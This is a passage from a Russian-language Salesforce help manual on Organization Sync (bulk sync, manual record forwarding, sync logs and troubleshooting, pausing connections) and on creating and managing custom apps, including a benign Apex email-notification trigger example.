Группирование записей не требует дополнительного времени, поскольку система не копирует повторно уже
синхронизированные записи.

Как контролировать выполнение пакетной синхронизации?
Чтобы просмотреть общее количество записей, ожидающих синхронизации, воспользуйтесь соответствующей
очередью записей на странице сведений о подключении. Во время выполнения синхронизации кнопка «Пакетная
синхронизация»неактивна. ВыходизсистемыSalesforceневлияетнавыполнениесинхронизации. Кнопка«Пакетная
синхронизация» становится активной после завершения синхронизации.

Может ли пакетная синхронизация завершиться неудачей?
Если запись, добавленная в пакетную синхронизацию, содержит ошибку (например, недопустимый поиск), то
копирование данной записи и ее дочерних записей не выполняется; данная ошибка не препятствует копированию
записей, которые не связаны с необработанными записями. Ошибки репликации регистрируются журналом
синхронизации организации, тогда как ошибки метаданных регистрируются журналом подключений.

Как долго выполняется пакетная синхронизация?
Продолжительность пакетной синхронизации определяется количеством копируемых записей. Пакетная
синхронизация может занять несколько часов или дней.

Перенаправление записей вручную

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра статуса
внешнего общего доступа
для записи:
• «Чтение» для записи

Для управления
подключением для
синхронизации
организации выполните
следующие действия.
• «Управление

подключениями»

Несмотрянапреимущественноеиспользованиефункциипакетнойсинхронизациидля
копирования записей во второстепенную организацию, система Salesforce позволяет
такжеперенаправлятьотдельныезаписисостраницсведенийозаписях. Сначаладобавьте
связанный список «Внешний общий доступ» в макет страницы каждого типа объекта,
публикуемогопосредствомфункции «Синхронизацияорганизации». Связанныйсписок
«Внешнийобщийдоступ» отображает статусобщегодоступадля каждой записи, а также
связанные подключения.

1. Чтобыперенаправитьтекущуюисвязанныезаписивовторостепеннуюорганизацию,
выполните указанные ниже действия.

a. Откройте страницу сведений о записи.

b. Нажмитекнопку«Перенаправить [типобъекта]»всвязанномсписке «Внешний
общий доступ».

2. Чтобы перенаправить несколько записей во второстепенную организацию,
выполните указанные ниже действия.

a. Откройте вкладку для нужного типа записи.

b. Выберите нужное списковое представление из раскрывающегося списка
«Просмотр» и нажмите кнопку «Начать».

c. Выберитенужныезаписиизсписковогопредставления. Чтобывыбратьвсезаписи,
установите флажок в заголовке столбца.

d. Нажмите кнопку «Перенаправить подключениям».

3. Выберите нужное подключение в списке «Доступные подключения».

4. Чтобы переместить подключение в список «Выбранные подключения», нажмите
кнопку «Добавить».
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5. При необходимости выберите нужные связанные записи.

Прим.: При перенаправлении обращения во второстепенную организацию участники рабочей группы
пользователя, элементыленты, комментариилентыипредопределеннаярабочаягруппаподлежатавтоматическому
перенаправлению, поэтомусоответствующиепараметрынеотображаются. Участникирабочей группыконтакта
не поддерживаются.

6. Нажмите кнопку «Сохранить».

Обслуживание организаций

Отслеживание среды для функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Страница сведений о подключении для синхронизации организации позволяет
контролировать фоновые операции синхронизации.

При отправке обновления записи между организациями обновление отображается в
соответствующей очереди записей на странице сведений о подключении до момента
его получения связанной организацией. Очередь отображает исходящие действия
синхронизации, поэтому обновление, отправляемое во второстепеннуюорганизацию,
отображается в очереди основной организации.

Если синхронизировать обновленные данные не удалось, система повторит попытку.
В столбце «Дата следующие попытки» запроса отображается очередь следующей
попыткисинхронизации. Посленесколькихнеудачныхпопытокобновлениедобавляется
вжурнал синхронизацииорганизациии удаляется из очереди. Вжурнал заносится одна
записьпослепервойповторнойпопыткиобновления, иещеодна записьпосле удачного
обновления или неудачной последней попытки. (Синхронизация пользователя и синхронизация метаданных повторно
не выполняется, поэтому в случае неудачи вжурнале синхронизацииорганизации сразу же появляется соответствующая
запись.)

Раздел «Журнал синхронизации организации» на странице сведений о подключении отображает последние записи
журнала, а такжесодержитссылкунаполныйжурнал, расположенныйнавкладке «Журналсинхронизацииорганизации»
системы Salesforce. Вкаждой записижурналаприводитсяинформацияобизмененной записи, типеобновления, времени
внесения записи в журнал, статус и код ошибки (при ее наличии). После первой неудачной попытки обновления поле
«Статус» принимает значение «Повторная попытка», а после нескольких повторений принимает значение «Сбой»
или «Решение найдено».

Совет:

• Еслистатус событиянепоказан, добавьтеполе «Статус» вмакет страницыжурнала синхронизацииорганизации.

• Чтобы просмотреть сведения о событии и описание ошибки (при ее наличии), щелкните номер события.

Как правило, ошибки репликации вызываются необработанными взаимосвязями поиска. Если ошибка исправлена,
записьдобавляется вочередьприследующемобновлении. Столбец «Действие» позволяетполучатьподробныесведения
о невыполненных операциях.
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Действия в очереди записей для функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При отправке обновления записи между основной и второстепенной организациями
запись отображается в соответствующей очереди записей на странице сведений о
подключении. Столбец «Действие» даннойочередиотображаетдействиерепликации,
выполняемое для записи.

Ниже перечислены действия, доступные для записей в очереди.

ОпределениеДействие

Выполняется копирование в связанную
организацию записей, созданных или
обновленных позднее указанной даты
пакетной синхронизации.

Пакетная синхронизация

Выполняется копирование записей
пользователей в связаннуюорганизацию.

Пакетная синхронизация пользователей

Подключение для синхронизации
организации восстановлено
пользователем.

Подключение восстановлено
администратором

Подключение для синхронизации
организации приостановлено

Подключение приостановлено
администратором

пользователем. Обновления добавляются
в очередь записей для функции
«Синхронизация организации» и будут
обработаны после возобновления
подключения пользователем.

Подключение для синхронизации
организации деактивировано.

Деактивация подключения

Подключение для синхронизации
организации восстановлено

Подключение восстановлено

автоматически, т.к. обеорганизациистали
доступны.

Подключение для синхронизации
организации было автоматически

Подключение приостановлено

приостановлено, т.к. одна из связанных
организаций недоступна. Обновления
добавляются в очередь записей для
функции «Синхронизация организации»
ибудут обработаныпосле возобновления
подключения.

Ответственный за подключение для
синхронизации организации обновлен; в

Обновление подключения

настоящее время данное обновление
отправляется связанной организации.
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ОпределениеДействие

Публикация поля отменена; публикация отменяется в
связанной организации.

Удаление соотнесения полей

Имя поля обновлено; данное обновление передается
связанной организации.

Обновление имени соотнесения полей

Определение поля обновлено для данной записи; данное
обновление передается связанной организации.

Обновление соотнесения полей

Запись копируется в связанную организацию.Общая вставка

Запись обновлена; данное обновление передается
связанной организации.

Общее обновление

Соотнесение типа, поля или значения обновлено;
администратор Salesforce уведомляется по эл. почте.

Отправка обновления соотнесения по эл. почте

Кодобъектапартнераотсутствует для записи; определение
кода выполняется (участие пользователя не требуется).

Отсутствует код партнера

Запись удалена; запись удаляется в связаннойорганизации.Удаление репликации

Запись восстановлена; запись восстанавливается в
связанной организации.

Восстановление репликации

Соотнесение типов (например, определение
настраиваемого объекта) удалено; соотнесение удаляется в
связанной организации.

Удаление соотнесения типов

Имя соотнесения типов обновлено; данное обновление
передается связанной организации.

Обновление имени соотнесения типов

Подписка на опубликованный объект выполнена; данное
обновление отправляется в связанную организацию.

Подписка партнера на набор соотнесений типов

Соотнесение типов обновлено; данное обновление
передается связанной организации.

Обновление соотнесения типов

Пользователь копируется в связанную организацию.Вставка пользователя

Соотнесение значений раскрывающегося списка удалено;
соотнесение удаляется в связанной организации.

Удаление соотнесения значений
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Отслеживание ошибок синхронизации посредством триггера журнала синхронизации организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем создать триггеры Apex для журнала синхронизации организации,
позволяющие проверять выполнение синхронизации и отслеживать ошибки.

Ниже перечислены некоторые способы использования триггеров для журнала
синхронизации организации.

• Создайте триггер, отправляющий администратору сообщения эл. почты при
добавлении в журнал более 10 новых записей в течение последних 24 часов.

• При добавлении в журнал записи для организации инициируйте бизнес-правило,
помечающее организациюфлажком «Требует согласования».

Чтобысоздать триггерыжурналасинхронизацииорганизации, введитестроку «Журнал
синхронизации организации» вполе «Быстрый поиск» вменю «Настройка», затемвыберите
пункт «Триггеры».

Пример: Примернижепозволяет отправлять администратору сообщения эл. почтыпридобавленииновой записи
в журнал. Замените текст, выделенный полужирнымшрифтом, нужным адресом эл. почты.

trigger NotifyOrgSyncEntry on PartnerNetWorkSyncLog (after insert) {
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(new String[] {'test@salesforce.com'});
mail.setReplyTo('test@salesforce.com');
mail.setSubject('New Org Sync Log Entry');
mail.setPlainTextBody('There is a new entry in the Org Sync Log.');
mail.setUseSignature(false);
Messaging.sendEmail(new Messaging.SingleEmailMessage[]{mail});

}

Составление отчета по журналу синхронизации организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Администратор функции «Синхронизация организации» может создавать типы
настраиваемых отчетов для журнала синхронизации организации, позволяющие
отслеживать ошибки синхронизации.

Присозданиитипанастраиваемогоотчетаобъект «Журналсинхронизацииорганизации»
может использоваться в качестве основного или дополнительного для любого объекта,
поддерживаемого функцией «Синхронизация организации» (например, объект
«Организации» или «Контакты»). Нижеперечисленынекоторыеспособыиспользования
функциисоставленияотчетов, позволяющиеотслеживатьсостояниесредыдляфункции
«Синхронизация организации».

• Созданиенастраиваемогоотчетадляобъекта «Журналсинхронизацииорганизации»,
возвращающего все записи журнала за определенный диапазон дат.

• Создание настраиваемого отчета для объекта «Обращение», возвращающего все
записи журнала для записей, связанных с обращением в прошлом месяце.

• Создание панели мониторинга с отчетами, возвращающими:

– Количество записей журнала за последние 24 часа

– Количество записей журнала по типу поля

Прим.: Вжурнале отображаются исходящие события синхронизации, поэтому результаты, возвращаемые в одном
отчете, будут различаться в зависимости от организации, в которой вы работаете
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Пример: Допустим, администратору Salesforce требуется создать тип настраиваемого отчета, который возвращает
все записи журнала для записей, связанных с организацией на прошлой неделе.

• Администраторсоздаеттипнастраиваемогоотчета «Записиорганизацийвжурналесинхронизацииорганизации»
и сохраняет его в папку «Другие отчеты».

• Администратор выбирает объект «Организация» в качестве родительского, а объект «Журнал синхронизации
организации» — в качестведочернего, используя взаимосвязь«Каждаязапись "А" должнаиметькакминимум
одну связанную запись "B"».

• Администратор выбирает поля для добавления в тип отчета в разделе «Поля, доступные для отчетов».

• Администратор создает отчет на основе нового типа настраиваемого отчета и выбирает диапазон «Прошлая
неделя».

Диагностика ошибок синхронизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При переключении между основной и второстепенной организациями пользователям
функции «Синхронизацияорганизации» могутотображатьсяошибки. Чтобыопределить
возможную причину и принять верное решение, просмотрите этапы устранения
неполадок.

Если синхронная запись отсутствует в связанной организации...

Рекомендуемые действияВозможная причина

Просмотритеочередьзаписейнастранице
сведений о подключении в организации,
выбранной для создания записи. Если
запись находится в очереди, значит

Выполняется копирование записи в
связанную организацию.

выполняется ее копирование в связанную
организацию.

Запись удаляется из очереди после
успешного или неудачного завершения
копирования. При неудачном
копированиизаписьдобавляется вжурнал
синхронизации организации.
Просмотрите журнал для получения
дополнительной информации.

Тип объекта записи не опубликован и не
подписан.

1. Опубликуйте и подпишитесь на
объект.

2. Выполнитепакетнуюсинхронизацию
длякопированиязаписейданноготипа
объекта в связанную организацию.

Родительская запись не скопирована в
связанную организацию.

1. Убедитесь, что тип объекта
родительской записи опубликован и
подписан.
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Рекомендуемые действияВозможная причина

2. Перенаправьте родительскую запись в связанную
организацию вручную с помощью связанного списка
«Внешний общий доступ» на странице сведений о
записи.

После перенаправления родительской записи система
выполняет автоматическое перенаправление
исключительнодочернихзаписей (например, комментарии
к обращениям); другие дочерние записи (например,
контакты) должны перенаправляться вручную.

Обновите метаданные организаций.Метаданные для объекта записи не совпадают между
основной и второстепенной организациями. Например,
одна из организаций не содержит тип поля или записи.

Пакетная синхронизация копирует только записи,
созданные или измененные после контрольной даты,

Запись изменялась или создана до контрольной даты,
выбранной пользователем при выполнении пакетной
синхронизации. выбранной пользователем при настройке пакетной

синхронизации. Наиболее ранняя доступная для выбора
контрольная дата — за один год до текущей даты. При
необходимости перенаправьте запись в связанную
организацию вручную посредством связанного списка
«Внешний общий доступ».

Если второстепенная организация недоступна...

Рекомендуемые действияВозможная причина

Дождитесь завершения обслуживания. Основная
организация возобновляет отправку обновлений записей
по мере доступности второстепенной организации.

Приобслуживании второстепеннойорганизации система
приостанавливает отправку всех обновлений записей из
основной организации, поэтому очередь записей может
содержать большое количество элементов.

Если новый пользователь не копируется в связанную организацию...

Рекомендуемые действияВозможная причина

Журнал синхронизации организации регистрирует
пользователя в качестве неудачной репликации. Прежде

Новый профиль, назначенный пользователю, не создан в
связанной организации.

чем добавить пользователя в связанную организацию,
добавьте назначенный ему профиль.

1. Создайтепрофильвсвязаннойорганизации. Убедитесь,
что обе организации используют одно имя профиля.

2. Откройте запись пользователя в организации,
выбранной для создания пользователя. Чтобы
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Рекомендуемые действияВозможная причина

инициировать репликацию записи пользователя,
щелкните «Правка» и нажмите кнопку «Сохранить».

Синхронизируются только пользователи, имеющие
стандартную лицензию Salesforce.

Пользовательнеимеетстандартнойлицензиипользователя
Salesforce.

Отмена публикации объектов и полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
опубликованных объектов:
• «Управление

подключениями»

Чтобы отменить синхронизацию объекта или поля, отмените его публикацию в
организациях. Помните, что объекты или поля, публикация которых отменяется, могут
иметь связанные взаимосвязи поиска.

Отменапубликацииобъектаинициируетудалениесвязисинхронизированныхзаписей
данного типа объекта между двумя организациями. Например, при отмене публикации
объекта последующее редактирование синхронизированной записи данного объекта
в основной организации не будет реплицироваться во второстепенной организации
ввиду отмены синхронизации данных записей.

Отмена публикации поля объекта препятствует синхронизации данного поля в
синхронизированныхзаписяхданноготипаобъекта. Например, приотменепубликации
поля «Стоимость» объекта «Возможность» синхронизированныезаписивозможностей
остаются синхронизированными, но редактирование поля «Стоимость» записи
возможности не будет реплицироваться в другой организации. Запись возможности,
созданнаяпослепубликацииполя «Стоимость», будет автоматическиперенаправляться
во второстепенную организацию, но не будет отображать поле «Стоимость» во
второстепенной организации.

1. Чтобы отменить публикацию объекта, выполните указанные ниже действия.

a. Выполните вход в основную организацию.

b. Откройте вкладку «Подключения».

c. Щелкните имя нужного подключения в столбце «Имя подключения».

d. Нажмите кнопку «Публиковать/отменить публикацию» в разделе «Опубликованные объекты».

e. Отмените выбор нужного объекта.

f. Нажмите кнопку «Сохранить».

g. Приприменениидвустороннейсинхронизациивыполнитепредыдущиедействиявовторостепеннойорганизации.

2. Чтобы отменить публикацию поля, выполните указанные ниже действия.

a. Выполните вход в основную организацию.

b. Откройте вкладку «Подключения».

c. Щелкните имя нужного подключения в столбце «Имя подключения».

d. Щелкните ссылку «Правка» напротив имени нужного объекта в разделе «Опубликованные объекты».

e. Отмените выбор нужного поля.

f. Нажмите кнопку «Сохранить».

g. Приприменениидвустороннейсинхронизациивыполнитепредыдущиедействиявовторостепеннойорганизации.
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Приостановка подключения для функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для приостановки и
возобновления
подключения для функции
«Синхронизация
организации»:
• «Управление

подключениями»

При обнаружении повторяющихся ошибок синхронизации или возникновении
необходимости изменения организации рекомендуем приостановить подключение
междуосновнойивторостепеннойорганизациями. Обновления, выполненныевовремя
приостановки, синхронизируются после возобновления подключения.

Чтобыприостановитьподключениемеждуорганизациями, выполните указанныениже
действия.

1. Откройте страницу сведений о нужном подключении.

2. Щелкните «Приостановить» вверху страницы.

3. Нажмите кнопку «OK».

4. При использовании двусторонней синхронизации рекомендуем также выполнить
предыдущие действия в связанной организации для приостановки обновлений в
обоих направлениях. Приостановка подключения только в одном направлении
может инициировать возникновение ошибок синхронизации.

Чтобы возобновить подключение между организациями, выполните указанные ниже
действия.

1. Откройте страницу сведений о нужном подключении.

2. Щелкните «Возобновить» вверху страницы.

3. Приприостановкеобновленийвобоихнаправленияхрекомендуемтакжевыполнитьпредыдущиедействиявсвязанной
организации.

После возобновления подключения система Salesforce отправляет обновления, находящиеся в очереди, в связанную
организацию. Время, необходимое для обработки всех отложенных обновлений, определяется степенью наполнения
очереди.

Важное замечание: По мере наполнения очереди увеличивается время, необходимое для синхронизации двух
организаций. Чтобыминимизироватьошибкисинхронизации, рекомендуемвозобновитьподключениекакможно
раньше.

Рекомендации по приостановке подключения для функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Принеобходимости подключение дляфункции «Синхронизация организации» между
основной и второстепенной организациями Salesforce может быть временно
приостановлено. Прежде чем приостановить подключение, рекомендуем просмотреть
алгоритм данного процесса.

Когда следует приостановить подключение?
Ниже перечислены некоторые причины приостановки подключения.

• Обнаружение слишком большого количества ошибок синхронизации и
необходимость их исправления.

• Необходимостьизменениякакминимумоднойорганизации, препятствующегоуспешнойсинхронизацииданных.

Как приостановка подключения влияет на пользователей?
Приостановка подключения не влияет на большинство пользователей. При наличии полномочия «Управление
подключениями» пользователям будут доступны некоторые изменения на странице сведений о подключении.

• Отображение кнопки «Возобновить» вместо кнопки «Приостановить».
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• Отображениенедавнегособытия «Подключение: приостановлено администратором» вжурналеподключений.

• Возможностьобновленияполя «Ответственный за подключение» ипараметровдля синхронизацииметаданных,
пользователей и полей аудита (обновления отправляются в связанную организацию после возобновления
подключения).

• Придлительнойприостановкеподключенияочередьможетсодержатьслишкомбольшоеколичествообновлений.

• Связанные списки «Опубликованные объекты» и «Подписанные объекты» скрыты.

Крометого, ответственныйзаподключениеипользователь, приостановившийподключение, получаютдвасообщения
эл. почты в день с указанием количества событий, находящихся в очереди.

Что происходит при приостановке подключения?
Все обновления, выполненные во время приостановки подключения, добавляются в очередь записей для функции
«Синхронизацияорганизации». Обновления, добавленные вочередь, отправляются в связаннуюорганизациюпосле
возобновления подключения.

Важное замечание: По мере наполнения очереди увеличивается время, необходимое для синхронизации двух
организаций. Чтобы минимизировать ошибки синхронизации, рекомендуем возобновить подключение как
можно раньше.

Создание приложений

Что такое приложение?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Приложение — это набор вкладок, работающих как единое целое для выполнения
доступных функций. Система Salesforce поддерживает стандартные приложения
(например, Sales и Call Center). Принеобходимости стандартныеприложениямогут быть
настроены в соответствии с бизнес-требованиями организации.

Кроме того, пользователи могут создавать собственные настраиваемые приложения
путем объединения стандартных и настраиваемых вкладок в новые настраиваемые
приложения. Настраиваемоеприложениесостоитизметки, описанияиупорядоченного
списка вкладок. Кроме того, настраиваемое приложение может быть дополнено
настраиваемым логотипом. Настраиваемые приложения позволяют расширять типы
управляемых данных и предоставлять к ним интерактивный доступ за пределами CRM.
Настраиваемые приложения — это часть платформы Force.com, которая позволяет
создавать и предоставлять другим пользователям Salesforce доступ к настраиваемым
приложениям.

Доступные настраиваемые приложения отображаются в меню приложений Force.com
(раскрывающийся список, отображающийся вверху каждой страницы Salesforce).
Содержимое приложения, выбранного в менюприложений Force.com, отображается на
экране. Например, припереходе из приложения, содержащего вкладку «Возможности»,
в приложение, которое не содержит данной вкладки, вкладка «Возможности» не
отображается, а раскрывающийся список «Создать...» на боковой панели не содержит
пункта «Возможность». Крометого, приложениеможетотображатьдругуюначальную
или стандартную целевую вкладку.

Приложениясвязываютсяспрофилями. Профилиопределяютвкладки, которыедолжны
быть доступны или скрыты, а также доступные приложения. Возможности настройки
вкладок приложения определяются профилем пользователя.
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Прим.:

• Приложения консоли Salesforce являются настраиваемыми.

• Прииспользовании лицензий Salesforce Platform и Salesforce Platform Oneменюприложений Force.com содержит
только стандартное приложение Platform. Дополнительную информацию о вводе уникальной метки для
стандартного приложения Platform см. в разделе «Создание настраиваемых приложений» на странице 5529.

СМ. ТАКЖЕ:

Создание настраиваемых приложений

Управление приложениями

Управление приложениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Пользователимогутнастраивать стандартные, настраиваемыеи связанныеприложения.
Введите строку «Приложения» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Приложения», чтобы открыть список приложений организации.

Нижеперечисленыдействия, доступныедля стандартныхинастраиваемыхприложений.

• Чтобы просмотреть сведения о приложении, щелкните имя нужного приложения.
Сведениясодержатсвойстваприложения (например, вкладки, которыеужеявляются
частьюприложения, включаянеразвернутыевкладки). Чтобыпросмотреть сведения,
выберите нужную настраиваемую вкладку в списке «Добавленные вкладки».

• Чтобы изменить свойства приложения, щелкните «Правка».

• Чтобы удалить настраиваемое приложение, щелкните ссылку «Удал.». Стандартные
приложения не могут быть удалены.

• Чтобы создать приложение, выполните одно из указанных ниже действий.

– Пользователю, который впервые работает с приложениями Force.com,
рекомендуемвыбрать ссылку «Быстрыйпуск». Данная ссылкапозволяетбыстро
создавать базовые рабочие приложения.

– Пользователю, которыйуже создавалобъекты, вкладкииполя, необходимыедля
приложения, рекомендуем нажать кнопку «Создать». Данная кнопка позволяет
создаватьметкиилоготипыприложений, добавлятьвкладкииназначатьпрофили.

• Чтобыизменитьпорядок отображенияприложений вменюприложений Force.com,
щелкните «Изменить порядок».

При использовании лицензий Salesforce Platform и Salesforce Platform One меню
приложений Force.com содержит только стандартное приложение Platform.

Просмотритеверсиюсвязанныхприложений, используемыхв системе. Чтобыизменить
текущее приложение, щелкните имя нужного приложения. Чтобы создать связанное приложение, нажмите кнопку
«Создать».

СМ. ТАКЖЕ:

Что такое приложение?

Удаление приложений
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Создание приложений с помощью быстрого пуска приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания приложений:
• «Настройка

приложения»

И

«Управление
профилями и наборами
полномочий»

Быстрыйпускприложения — этоудобныйибыстрыйспособсозданиябазовогорабочего
приложения.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Приложения» ищелкните «Быстрый пуск». На начальной
странице Force.com нажмите кнопку «Добавить приложение» в разделе «Начало
работы» или «Быстрый пуск приложения» в разделе «Быстрые ссылки».

2. Введите необходимые сведения.

ОписаниеИмя поля

Имяприложения, котороеотображается
в меню приложений Force.com. Метка
может содержать не более 40 символов,
включая пробелы.

Метка приложения

Имя объекта во множественном числе.
Данное имя отображается на вкладке.

Метка множественного числа

Имя, используемое для обозначения
объекта на всех страницах
пользовательского интерфейса.

Метка единственного числа

Принеобходимости укажите род метки.
Данное поле отображается только в том
случае, если язык, используемые в
организации по умолчанию,
поддерживает категорию рода.

Род

Принеобходимостиукажите, следуетли
использоватьартикль, заканчивающийся
на согласную букву, перед меткой.

Начинается с гласного звука

3. Нажмите кнопку «Создать».

4. Чтобы добавить новые поля в приложение, щелкните ссылку «здесь» на странице «Готово!».

5. Чтобы просмотреть приложение в том виде, в котором оно будет доступно пользователям, щелкните «Перейти к
моему приложению».

Ниже перечислены действия, выполняемые быстрым пуском приложения.

• Создание метки и API-имени приложения (уникальное имя, используемое для обращения к объекту при работе с
Force.com API).

• Создание метки и API-имени объекта.

• Создание метки вкладки и связывание вкладки с объектом.

• Включение функции отслеживания лент для объекта. Функция отслеживания лент позволяет отслеживать записи
для объектов данного типа и просматривать обновления в ленте Chatter.

• Предоставление доступа к приложению и вкладке в профиле пользователя. Кроме того, объекты доступны всем
пользователям с полномочием «Изменение всех данных».
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• Создание набора полномочий, который предоставляет доступ к новому настраиваемому объекту.

• Назначение набора полномочий пользователю, создавшему приложение.

Прим.: При выборе настраиваемого приложения только вкладки, добавленные в приложение, отображаются и
содержат кнопку «Создать».

Созданное приложение может быть дополнено нужными компонентами, а также поддерживает настройку параметров
доступа и добавление пользователей в организацию.

СМ. ТАКЖЕ:

Быстрый пуск приложения: дальнейшие действия для создания и управления приложениями

Управление приложениями

Быстрый пуск приложения: дальнейшие действия для создания и управления
приложениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания объектов,
вкладок, полей и правил
проверки:
• «Настройка

приложения»

Для создания
пользователей:
• «Управление

внутренними
пользователями»

Для создания профилей и
наборов полномочий:
• «Управление

профилями и наборами
полномочий»

Базовое приложение, созданное с помощью быстрого пуска, может быть дополнено
нужными объектами и полями, а также поддерживает настройку параметров доступа и
добавление пользователей для предоставления им общего доступа.

1. Создайте приложение с помощью базовых компонентов, используемых в
приложениях.

• Создайте объекты, которые являются настраиваемыми таблицами базы данных,
предназначенными для хранения сведений, связанных с приложением.

• Создайте вкладки, связанные с созданными объектами.

• Создайте поля для каждого объекта, предназначенные для хранения важных
сведений.

• Создайте правила проверки, благодаря которым сведения, указываемые
пользователями, будут проверяться на соответствие принятым стандартамперед
сохранением записи.

Длябыстрогодоступакэтиминструментамрекомендуемиспользоватьменюбыстрого
доступа Force.com, которое отображается на страницах сведений о записи и в
списковых представлениях объектов.

2. Создайте профили пользователей или наборы полномочий. Данные компоненты
содержат параметры и полномочия, которые определяют действия, доступные
пользователям в приложении.

3. Выберите типы доступа пользователей к приложению.

a. Предоставьте доступ к приложению посредством профилей или наборов
полномочий.

b. Предоставьте доступ к вкладкам объектов.

c. Назначьте полномочия для созданных объектов.

4. Добавьте пользователей в организацию. Чтобы предоставить добавленным
пользователям доступ к приложению, назначьте им соответствующие созданные
профили или наборы полномочий.
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Мы рассмотрели основные этапы создания и управления приложением. Однако платформа Force.com предоставляет
дополнительные способы создания, управления и развертывания приложений.

СМ. ТАКЖЕ:

Создание приложений с помощью быстрого пуска приложения

Управление приложениями

Создание настраиваемых приложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Созданные настраиваемые приложения позволяют разрабатывать приложения для
пользователей организации.

Прим.: Пользователю, который впервые работает с приложениями Force.com,
рекомендуем использовать быстрый пуск Force.com для создания приложений.
Данный инструмент позволяет быстро создавать базовые рабочие приложения.

Чтобы создать настраиваемое приложение, выполните указанные ниже действия.

1. Введите строку «Приложения»в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Приложения».

2. Нажмите кнопку «Создать».

3. При наличии консоли Salesforce выберите, что нужно определить: настраиваемое
приложение или консоль Salesforce.

4. Укажите метку приложения. Метка может содержать не более 40 символов, включая
пробелы. Даннаяметка являетсяименемприложениявменюприложений Force.com.

5. При необходимости введите описание приложения.

6. Нажмите кнопку «Далее».

7. Принеобходимостивыберитенастраиваемыйлоготипприложения. Чтобывыбрать
графическийфайлизбиблиотекидокументов, щелкните«Вставитьизображение».

Нижеперечисленырекомендацииповыборунастраиваемогологотипаприложения
в библиотеке документов.

• Изображениедолжнобытьвформате GIF или JPEG. Размеризображениянеможет
превышать 20 Кб.

• Изображение, размеркоторогопревышает 300 пикселовпоширинеи 55 пикселов
по высоте, подлежит масштабированию.

• Для повышения качества отображения на экране рекомендуем использовать изображение с прозрачнымфоном.

• Чтобы предоставить пользователям доступ к изображению, установитефлажок «Внешний доступ» в свойствах
документа.

8. Нажмите кнопку «Далее».

9. Чтобы добавить или удалить вкладки из приложения, воспользуйтесь клавишами со стрелками «вправо» и «влево».

10. Чтобы определить порядок отображения вкладок в приложении, воспользуйтесь клавишами со стрелками «вверх» и
«вниз».

5529

Управление приложениямиРасширение Salesforce посредством интерактивных
инструментов



11. При необходимости выберите стандартную целевую вкладку для нового приложения в раскрывающемся меню
«Стандартная целевая вкладка» под списком выбранных вкладок. Данное меню определяет первую вкладку,
отображающуюся пользователю при входе в приложение.

12. Чтобызакрытьмастерприиспользованииверсии Professional Edition, нажмитекнопку«Сохранить». Прииспользовании
версии Enterprise Edition или Developer Edition нажмите кнопку «Далее».

13. Чтобы выбрать профили, которым должно быть доступно приложение, установите флажок «Доступно».

14. Установитефлажок «По умолчанию», чтобыустановитьприложениевкачествеприложенияпрофиляпоумолчанию,
то есть новые пользователи при первом входе в систему будут видеть это приложение в профиле. Профили с
